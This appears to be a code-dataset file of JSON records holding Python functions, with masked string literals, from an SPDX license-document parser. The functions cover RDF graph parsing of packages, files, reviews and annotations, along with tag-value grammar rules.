{"signature": "def handle_disjunctive_list(self, lics_set):", "body": "return self._handle_license_list(lics_set, cls=document.LicenseDisjunction)<EOL>", "docstring": "Return a license representing the disjunction from a list of\nlicense resources or None.", "id": "f3751:c1:m11"}
{"signature": "def parse_package(self, p_term):", "body": "<EOL>if not (p_term, self.spdx_namespace['<STR_LIT:name>'], None) in self.graph:<EOL><INDENT>self.error = True<EOL>self.logger.log('<STR_LIT>')<EOL>self.builder.create_package(self.doc, '<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>for _s, _p, o in self.graph.triples((p_term, self.spdx_namespace['<STR_LIT:name>'], None)):<EOL><INDENT>try:<EOL><INDENT>self.builder.create_package(self.doc, six.text_type(o))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT><DEDENT>self.p_pkg_vinfo(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_fname(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_suppl(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_originator(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_down_loc(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_homepg(p_term, self.doap_namespace['<STR_LIT>'])<EOL>self.p_pkg_chk_sum(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_src_info(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_verif_code(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_lic_conc(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_lic_decl(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_lics_info_from_files(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_comments_on_lics(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_cr_text(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_summary(p_term, self.spdx_namespace['<STR_LIT>'])<EOL>self.p_pkg_descr(p_term, self.spdx_namespace['<STR_LIT:description>'])<EOL>", "docstring": "Parses package fields.", "id": "f3751:c2:m1"}
{"signature": "def handle_pkg_lic(self, p_term, predicate, builder_func):", "body": "try:<EOL><INDENT>for _, _, licenses in self.graph.triples((p_term, predicate, None)):<EOL><INDENT>if (licenses, RDF.type, self.spdx_namespace['<STR_LIT>']) in self.graph:<EOL><INDENT>lics = self.handle_conjunctive_list(licenses)<EOL>builder_func(self.doc, lics)<EOL><DEDENT>elif (licenses, RDF.type, self.spdx_namespace['<STR_LIT>']) in self.graph:<EOL><INDENT>lics = self.handle_disjunctive_list(licenses)<EOL>builder_func(self.doc, lics)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>lics = self.handle_lics(licenses)<EOL>builder_func(self.doc, lics)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', licenses)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>'.format(predicate))<EOL><DEDENT>", "docstring": "Handles package lics concluded or declared.", "id": "f3751:c2:m8"}
{"signature": "def get_file_name(self, f_term):", "body": "for _, _, name in self.graph.triples((f_term, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>return name<EOL><DEDENT>return<EOL>", "docstring": "Returns first found fileName property or None if not found.", "id": "f3751:c3:m2"}
{"signature": "def p_file_depends(self, f_term, predicate):", "body": "for _, _, other_file in self.graph.triples((f_term, predicate, None)):<EOL><INDENT>name = self.get_file_name(other_file)<EOL>if name is not None:<EOL><INDENT>self.builder.add_file_dep(six.text_type(name))<EOL><DEDENT>else:<EOL><INDENT>self.error = True<EOL>msg = '<STR_LIT>'<EOL>self.logger.log(msg)<EOL><DEDENT><DEDENT>", "docstring": "Sets file dependencies.", "id": "f3751:c3:m3"}
{"signature": "def p_file_contributor(self, f_term, predicate):", "body": "for _, _, contributor in self.graph.triples((f_term, predicate, None)):<EOL><INDENT>self.builder.add_file_contribution(self.doc, six.text_type(contributor))<EOL><DEDENT>", "docstring": "Parse all file contributors and adds them to the model.", "id": "f3751:c3:m4"}
{"signature": "def p_file_notice(self, f_term, predicate):", "body": "try:<EOL><INDENT>for _, _, notice in self.graph.triples((f_term, predicate, None)):<EOL><INDENT>self.builder.set_file_notice(self.doc, six.text_type(notice))<EOL><DEDENT><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets file notice text.", "id": "f3751:c3:m5"}
{"signature": "def p_file_comment(self, f_term, predicate):", "body": "try:<EOL><INDENT>for _, _, comment in self.graph.triples((f_term, predicate, None)):<EOL><INDENT>self.builder.set_file_comment(self.doc, six.text_type(comment))<EOL><DEDENT><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets file comment text.", "id": "f3751:c3:m6"}
{"signature": "def p_file_artifact(self, f_term, predicate):", "body": "for _, _, project in self.graph.triples((f_term, predicate, None)):<EOL><INDENT>if (project, RDF.type, self.doap_namespace['<STR_LIT>']):<EOL><INDENT>self.p_file_project(project)<EOL><DEDENT>else:<EOL><INDENT>self.error = True<EOL>msg = '<STR_LIT>'<EOL>self.logger.log(msg)<EOL><DEDENT><DEDENT>", "docstring": "Handles file artifactOf.\n        Note: does not handle artifact of project URI.", "id": "f3751:c3:m7"}
{"signature": "def p_file_project(self, project):", "body": "for _, _, name in self.graph.triples((project, self.doap_namespace['<STR_LIT:name>'], None)):<EOL><INDENT>self.builder.set_file_atrificat_of_project(self.doc, '<STR_LIT:name>', six.text_type(name))<EOL><DEDENT>for _, _, homepage in self.graph.triples(<EOL>(project, self.doap_namespace['<STR_LIT>'], None)):<EOL><INDENT>self.builder.set_file_atrificat_of_project(self.doc, '<STR_LIT>', six.text_type(homepage))<EOL><DEDENT>", "docstring": "Helper function for parsing doap:project name and homepage.\n        and setting them using the file builder.", "id": "f3751:c3:m8"}
{"signature": "def p_file_cr_text(self, f_term, predicate):", "body": "try:<EOL><INDENT>for _, _, cr_text in self.graph.triples((f_term, predicate, None)):<EOL><INDENT>self.builder.set_file_copyright(self.doc, six.text_type(cr_text))<EOL><DEDENT><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets file copyright text.", "id": "f3751:c3:m9"}
{"signature": "def p_file_comments_on_lics(self, f_term, predicate):", "body": "try:<EOL><INDENT>for _, _, comment in self.graph.triples((f_term, predicate, None)):<EOL><INDENT>self.builder.set_file_license_comment(self.doc, six.text_type(comment))<EOL><DEDENT><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets file license comment.", "id": "f3751:c3:m10"}
{"signature": "def p_file_lic_info(self, f_term, predicate):", "body": "for _, _, info in self.graph.triples((f_term, predicate, None)):<EOL><INDENT>lic = self.handle_lics(info)<EOL>if lic is not None:<EOL><INDENT>self.builder.set_file_license_in_file(self.doc, lic)<EOL><DEDENT><DEDENT>", "docstring": "Sets file license information.", "id": "f3751:c3:m11"}
{"signature": "def p_file_type(self, f_term, predicate):", "body": "try:<EOL><INDENT>for _, _, ftype in self.graph.triples((f_term, predicate, None)):<EOL><INDENT>try:<EOL><INDENT>if ftype.endswith('<STR_LIT>'):<EOL><INDENT>ftype = '<STR_LIT>'<EOL><DEDENT>elif ftype.endswith('<STR_LIT:source>'):<EOL><INDENT>ftype = '<STR_LIT>'<EOL><DEDENT>elif ftype.endswith('<STR_LIT>'):<EOL><INDENT>ftype = '<STR_LIT>'<EOL><DEDENT>elif ftype.endswith('<STR_LIT>'):<EOL><INDENT>ftype = '<STR_LIT>'<EOL><DEDENT>self.builder.set_file_type(self.doc, ftype)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', ftype)<EOL><DEDENT><DEDENT><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets file type.", "id": "f3751:c3:m13"}
{"signature": "def p_file_chk_sum(self, f_term, predicate):", "body": "try:<EOL><INDENT>for _s, _p, checksum in self.graph.triples((f_term, predicate, None)):<EOL><INDENT>for _, _, value in self.graph.triples((checksum, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>self.builder.set_file_chksum(self.doc, six.text_type(value))<EOL><DEDENT><DEDENT><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL><DEDENT>", "docstring": "Sets file checksum. Assumes SHA1 algorithm without checking.", "id": "f3751:c3:m14"}
{"signature": "def p_file_lic_conc(self, f_term, predicate):", "body": "try:<EOL><INDENT>for _, _, licenses in self.graph.triples((f_term, predicate, None)):<EOL><INDENT>if (licenses, RDF.type, self.spdx_namespace['<STR_LIT>']) in self.graph:<EOL><INDENT>lics = self.handle_conjunctive_list(licenses)<EOL>self.builder.set_concluded_license(self.doc, lics)<EOL><DEDENT>elif (licenses, RDF.type, self.spdx_namespace['<STR_LIT>']) in self.graph:<EOL><INDENT>lics = self.handle_disjunctive_list(licenses)<EOL>self.builder.set_concluded_license(self.doc, lics)<EOL><DEDENT>else:<EOL><INDENT>try:<EOL><INDENT>lics = self.handle_lics(licenses)<EOL>self.builder.set_concluded_license(self.doc, lics)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', licenses)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>'.format(predicate))<EOL><DEDENT>", "docstring": "Sets file licenses concluded.", "id": "f3751:c3:m15"}
{"signature": "def get_review_comment(self, r_term):", "body": "comment_list = list(self.graph.triples((r_term, RDFS.comment, None)))<EOL>if len(comment_list) > <NUM_LIT:1>:<EOL><INDENT>self.error = True<EOL>msg = '<STR_LIT>'<EOL>self.logger.log(msg)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>return six.text_type(comment_list[<NUM_LIT:0>][<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "Returns review comment or None if found none or more than one.\n        Reports errors.", "id": "f3751:c4:m2"}
{"signature": "def get_review_date(self, r_term):", "body": "reviewed_list = list(self.graph.triples((r_term, self.spdx_namespace['<STR_LIT>'], None)))<EOL>if len(reviewed_list) != <NUM_LIT:1>:<EOL><INDENT>self.error = True<EOL>msg = '<STR_LIT>'<EOL>self.logger.log(msg)<EOL>return<EOL><DEDENT>return six.text_type(reviewed_list[<NUM_LIT:0>][<NUM_LIT:2>])<EOL>", "docstring": "Returns review date or None if not found.\n        Reports error on failure.\n        Note does not check value format.", "id": "f3751:c4:m3"}
{"signature": "def get_reviewer(self, r_term):", "body": "reviewer_list = list(self.graph.triples((r_term, self.spdx_namespace['<STR_LIT>'], None)))<EOL>if len(reviewer_list) != <NUM_LIT:1>:<EOL><INDENT>self.error = True<EOL>msg = '<STR_LIT>'<EOL>self.logger.log(msg)<EOL>return<EOL><DEDENT>try:<EOL><INDENT>return self.builder.create_entity(self.doc, six.text_type(reviewer_list[<NUM_LIT:0>][<NUM_LIT:2>]))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', reviewer_list[<NUM_LIT:0>][<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "Returns reviewer as creator object or None if failed.\n        Reports errors on failure.", "id": "f3751:c4:m4"}
{"signature": "def get_annotation_type(self, r_term):", "body": "for _, _, typ in self.graph.triples((<EOL>r_term, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>if typ is not None:<EOL><INDENT>return typ<EOL><DEDENT>else:<EOL><INDENT>self.error = True<EOL>msg = '<STR_LIT>'<EOL>self.logger.log(msg)<EOL>return<EOL><DEDENT><DEDENT>", "docstring": "Returns annotation type or None if found none or more than one.\n        Reports errors on failure.", "id": "f3751:c5:m2"}
{"signature": "def get_annotation_comment(self, r_term):", "body": "comment_list = list(self.graph.triples((r_term, RDFS.comment, None)))<EOL>if len(comment_list) > <NUM_LIT:1>:<EOL><INDENT>self.error = True<EOL>msg = '<STR_LIT>'<EOL>self.logger.log(msg)<EOL>return<EOL><DEDENT>else:<EOL><INDENT>return six.text_type(comment_list[<NUM_LIT:0>][<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "Returns annotation comment or None if found none or more than one.\n        Reports errors.", "id": "f3751:c5:m3"}
{"signature": "def get_annotation_date(self, r_term):", "body": "annotation_date_list = list(self.graph.triples((r_term, self.spdx_namespace['<STR_LIT>'], None)))<EOL>if len(annotation_date_list) != <NUM_LIT:1>:<EOL><INDENT>self.error = True<EOL>msg = '<STR_LIT>'<EOL>self.logger.log(msg)<EOL>return<EOL><DEDENT>return six.text_type(annotation_date_list[<NUM_LIT:0>][<NUM_LIT:2>])<EOL>", "docstring": "Returns annotation date or None if not found.\n        Reports error on failure.\n        Note does not check value format.", "id": "f3751:c5:m4"}
{"signature": "def get_annotator(self, r_term):", "body": "annotator_list = list(self.graph.triples((r_term, self.spdx_namespace['<STR_LIT>'], None)))<EOL>if len(annotator_list) != <NUM_LIT:1>:<EOL><INDENT>self.error = True<EOL>msg = '<STR_LIT>'<EOL>self.logger.log(msg)<EOL>return<EOL><DEDENT>try:<EOL><INDENT>return self.builder.create_entity(self.doc, six.text_type(annotator_list[<NUM_LIT:0>][<NUM_LIT:2>]))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', annotator_list[<NUM_LIT:0>][<NUM_LIT:2>])<EOL><DEDENT>", "docstring": "Returns annotator as creator object or None if failed.\n        Reports errors on failure.", "id": "f3751:c5:m5"}
{"signature": "def parse(self, fil):", "body": "self.error = False<EOL>self.graph = Graph()<EOL>self.graph.parse(file=fil, format='<STR_LIT>')<EOL>self.doc = document.Document()<EOL>for s, _p, o in self.graph.triples((None, RDF.type, self.spdx_namespace['<STR_LIT>'])):<EOL><INDENT>self.parse_doc_fields(s)<EOL><DEDENT>for s, _p, o in self.graph.triples((None, RDF.type, self.spdx_namespace['<STR_LIT>'])):<EOL><INDENT>self.parse_ext_doc_ref(s)<EOL><DEDENT>for s, _p, o in self.graph.triples((None, RDF.type, self.spdx_namespace['<STR_LIT>'])):<EOL><INDENT>self.parse_creation_info(s)<EOL><DEDENT>for s, _p, o in self.graph.triples((None, RDF.type, self.spdx_namespace['<STR_LIT>'])):<EOL><INDENT>self.parse_package(s)<EOL><DEDENT>for s, _p, o in self.graph.triples((None, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>self.parse_file(o)<EOL><DEDENT>for s, _p, o in self.graph.triples((None, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>self.parse_review(o)<EOL><DEDENT>for s, _p, o in self.graph.triples((None, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>self.parse_annotation(o)<EOL><DEDENT>validation_messages = []<EOL>validation_messages = self.doc.validate(validation_messages)<EOL>if not self.error:<EOL><INDENT>if validation_messages:<EOL><INDENT>for msg in validation_messages:<EOL><INDENT>self.logger.log(msg)<EOL><DEDENT>self.error = True<EOL><DEDENT><DEDENT>return self.doc, self.error<EOL>", "docstring": "Parses a file and returns a document object.\n        File, a file like object.", "id": "f3751:c6:m1"}
{"signature": "def parse_creation_info(self, ci_term):", "body": "for _s, _p, o in self.graph.triples((ci_term, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>try:<EOL><INDENT>ent = self.builder.create_entity(self.doc, six.text_type(o))<EOL>self.builder.add_creator(self.doc, ent)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', o)<EOL><DEDENT><DEDENT>for _s, _p, o in self.graph.triples((ci_term, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>try:<EOL><INDENT>self.builder.set_created_date(self.doc, six.text_type(o))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', o)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT>for _s, _p, o in self.graph.triples((ci_term, RDFS.comment, None)):<EOL><INDENT>try:<EOL><INDENT>self.builder.set_creation_comment(self.doc, six.text_type(o))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT>for _s, _p, o in self.graph.triples((ci_term, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>try:<EOL><INDENT>self.builder.set_lics_list_ver(self.doc, six.text_type(o))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL>break<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', o)<EOL><DEDENT><DEDENT>", "docstring": "Parse creators, created and comment.", "id": "f3751:c6:m2"}
{"signature": "def parse_doc_fields(self, doc_term):", "body": "try:<EOL><INDENT>self.builder.set_doc_spdx_id(self.doc, doc_term)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', doc_term)<EOL><DEDENT>try:<EOL><INDENT>if doc_term.count('<STR_LIT:#>', <NUM_LIT:0>, len(doc_term)) <= <NUM_LIT:1>:<EOL><INDENT>doc_namespace = doc_term.split('<STR_LIT:#>')[<NUM_LIT:0>]<EOL>self.builder.set_doc_namespace(self.doc, doc_namespace)<EOL><DEDENT>else:<EOL><INDENT>self.value_error('<STR_LIT>', doc_term)<EOL><DEDENT><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', doc_term)<EOL><DEDENT>for _s, _p, o in self.graph.triples((doc_term, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>try:<EOL><INDENT>self.builder.set_doc_version(self.doc, six.text_type(o))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', o)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT>for _s, _p, o in self.graph.triples((doc_term, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>try:<EOL><INDENT>self.builder.set_doc_data_lic(self.doc, six.text_type(o))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', o)<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT>for _s, _p, o in self.graph.triples(<EOL>(doc_term, self.spdx_namespace['<STR_LIT:name>'], None)):<EOL><INDENT>try:<EOL><INDENT>self.builder.set_doc_name(self.doc, six.text_type(o))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT:name>')<EOL>break<EOL><DEDENT><DEDENT>for _s, _p, o in self.graph.triples((doc_term, RDFS.comment, None)):<EOL><INDENT>try:<EOL><INDENT>self.builder.set_doc_comment(self.doc, six.text_type(o))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT>", "docstring": "Parses the version, data license, name, SPDX Identifier, namespace,\n        and comment.", "id": "f3751:c6:m3"}
{"signature": "def parse_ext_doc_ref(self, ext_doc_ref_term):", "body": "for _s, _p, o in self.graph.triples(<EOL>(ext_doc_ref_term,<EOL>self.spdx_namespace['<STR_LIT>'],<EOL>None)):<EOL><INDENT>try:<EOL><INDENT>self.builder.set_ext_doc_id(self.doc, six.text_type(o))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', '<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT>for _s, _p, o in self.graph.triples(<EOL>(ext_doc_ref_term,<EOL>self.spdx_namespace['<STR_LIT>'],<EOL>None)):<EOL><INDENT>try:<EOL><INDENT>self.builder.set_spdx_doc_uri(self.doc, six.text_type(o))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', '<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT>for _s, _p, checksum in self.graph.triples(<EOL>(ext_doc_ref_term, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>for _, _, value in self.graph.triples(<EOL>(checksum, self.spdx_namespace['<STR_LIT>'], None)):<EOL><INDENT>try:<EOL><INDENT>self.builder.set_chksum(self.doc, six.text_type(value))<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.value_error('<STR_LIT>', '<STR_LIT>')<EOL>break<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Parses the External Document ID, SPDX Document URI and Checksum.", "id": "f3751:c6:m4"}
{"signature": "def p_start_1(self, p):", "body": "pass<EOL>", "docstring": "start : start attrib", "id": "f3753:c0:m1"}
{"signature": "def p_start_2(self, p):", "body": "pass<EOL>", "docstring": "start : attrib", "id": "f3753:c0:m2"}
{"signature": "def p_attrib(self, p):", "body": "pass<EOL>", "docstring": "attrib : spdx_version\n                  | spdx_id\n                  | data_lics\n                  | doc_name\n                  | ext_doc_ref\n                  | doc_comment\n                  | doc_namespace\n                  | creator\n                  | created\n                  | creator_comment\n                  | locs_list_ver\n                  | reviewer\n                  | review_date\n                  | review_comment\n                  | annotator\n                  | annotation_date\n                  | annotation_comment\n                  | annotation_type\n                  | annotation_spdx_id\n                  | package_name\n                  | package_version\n                  | pkg_down_location\n                  | pkg_home\n                  | pkg_summary\n                  | pkg_src_info\n                  | pkg_file_name\n                  | pkg_supplier\n                  | pkg_orig\n                  | pkg_chksum\n                  | pkg_verif\n                  | pkg_desc\n                  | pkg_lic_decl\n                  | pkg_lic_conc\n                  | pkg_lic_ff\n                  | pkg_lic_comment\n                  | pkg_cr_text\n                  | file_name\n                  | file_type\n                  | file_chksum\n                  | file_conc\n                  | file_lics_info\n                  | file_cr_text\n                  | file_lics_comment\n                  | file_notice\n                  | file_comment\n                  | file_contrib\n                  | file_dep\n                  | file_artifact\n                  | extr_lic_id\n                  | extr_lic_text\n                  | extr_lic_name\n                  | lic_xref\n                  | lic_comment\n                  | unknown_tag", "id": "f3753:c0:m3"}
{"signature": "def order_error(self, first_tag, second_tag, line):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(first_tag, second_tag, line)<EOL>self.logger.log(msg)<EOL>", "docstring": "Reports an OrderError. Error message will state that\n        first_tag came before second_tag.", "id": "f3753:c0:m5"}
{"signature": "def p_lic_xref_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.add_lic_xref(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "lic_xref : LICS_CRS_REF LINE", "id": "f3753:c0:m6"}
{"signature": "def p_lic_xref_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "lic_xref : LICS_CRS_REF error", "id": "f3753:c0:m7"}
{"signature": "def p_lic_comment_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_lic_comment(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "lic_comment : LICS_COMMENT TEXT", "id": "f3753:c0:m8"}
{"signature": "def p_lic_comment_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "lic_comment : LICS_COMMENT error", "id": "f3753:c0:m9"}
{"signature": "def p_extr_lic_name_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_lic_name(self.document, p[<NUM_LIT:2>])<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "extr_lic_name : LICS_NAME extr_lic_name_value", "id": "f3753:c0:m10"}
{"signature": "def p_extr_lic_name_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "extr_lic_name : LICS_NAME error", "id": "f3753:c0:m11"}
{"signature": "def p_extr_lic_name_value_1(self, p):", "body": "if six.PY2:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>p[<NUM_LIT:0>] = p[<NUM_LIT:1>]<EOL><DEDENT>", "docstring": "extr_lic_name_value : LINE", "id": "f3753:c0:m12"}
{"signature": "def p_extr_lic_name_value_2(self, p):", "body": "p[<NUM_LIT:0>] = utils.NoAssert()<EOL>", "docstring": "extr_lic_name_value : NO_ASSERT", "id": "f3753:c0:m13"}
{"signature": "def p_extr_lic_text_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_lic_text(self.document, value)<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>except CardinalityError:<EOL><INDENT>self.more_than_one_error('<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "extr_lic_text : LICS_TEXT TEXT", "id": "f3753:c0:m14"}
{"signature": "def p_extr_lic_text_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "extr_lic_text : LICS_TEXT error", "id": "f3753:c0:m15"}
{"signature": "def p_extr_lic_id_1(self, p):", "body": "try:<EOL><INDENT>if six.PY2:<EOL><INDENT>value = p[<NUM_LIT:2>].decode(encoding='<STR_LIT:utf-8>')<EOL><DEDENT>else:<EOL><INDENT>value = p[<NUM_LIT:2>]<EOL><DEDENT>self.builder.set_lic_id(self.document, value)<EOL><DEDENT>except SPDXValueError:<EOL><INDENT>self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL><DEDENT>", "docstring": "extr_lic_id : LICS_ID LINE", "id": "f3753:c0:m16"}
{"signature": "def p_extr_lic_id_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "extr_lic_id : LICS_ID error", "id": "f3753:c0:m17"}
{"signature": "def p_uknown_tag(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p[<NUM_LIT:1>], p.lineno(<NUM_LIT:1>))<EOL>self.logger.log(msg)<EOL>", "docstring": "unknown_tag : UNKNOWN_TAG LINE", "id": "f3753:c0:m18"}
{"signature": "def p_file_artifact_1(self, p):", "body": "pass<EOL>", "docstring": "file_artifact : prj_name_art file_art_rest\n                         | prj_name_art", "id": "f3753:c0:m19"}
{"signature": "def p_file_artificat_2(self, p):", "body": "self.error = True<EOL>msg = ERROR_MESSAGES['<STR_LIT>'].format(p.lineno(<NUM_LIT:2>))<EOL>self.logger.log(msg)<EOL>", "docstring": "file_artifact : prj_name_art error", "id": "f3753:c0:m20"}
{"signature": "def p_file_art_rest(self, p):", "body": "pass<EOL>", "docstring": "file_art_rest : prj_home_art prj_uri_art\n                         | prj_uri_art prj_home_art\n                         | prj_home_art\n                         | prj_uri_art", "id": "f3753:c0:m21"}
{"signature": "def p_prj_uri_art_1(self, p):", "body": "try:<EOL><INDENT>self.builder.set_file_atrificat_of_project(self.document,<EOL>'<STR_LIT>', utils.UnKnown())<EOL><DEDENT>except OrderError:<EOL><INDENT>self.order_error('<STR_LIT>', '<STR_LIT>', p.lineno(<NUM_LIT:1>))<EOL><DEDENT>", "docstring": "prj_uri_art : ART_PRJ_URI UN_KNOWN", "id": "f3753:c0:m22"}
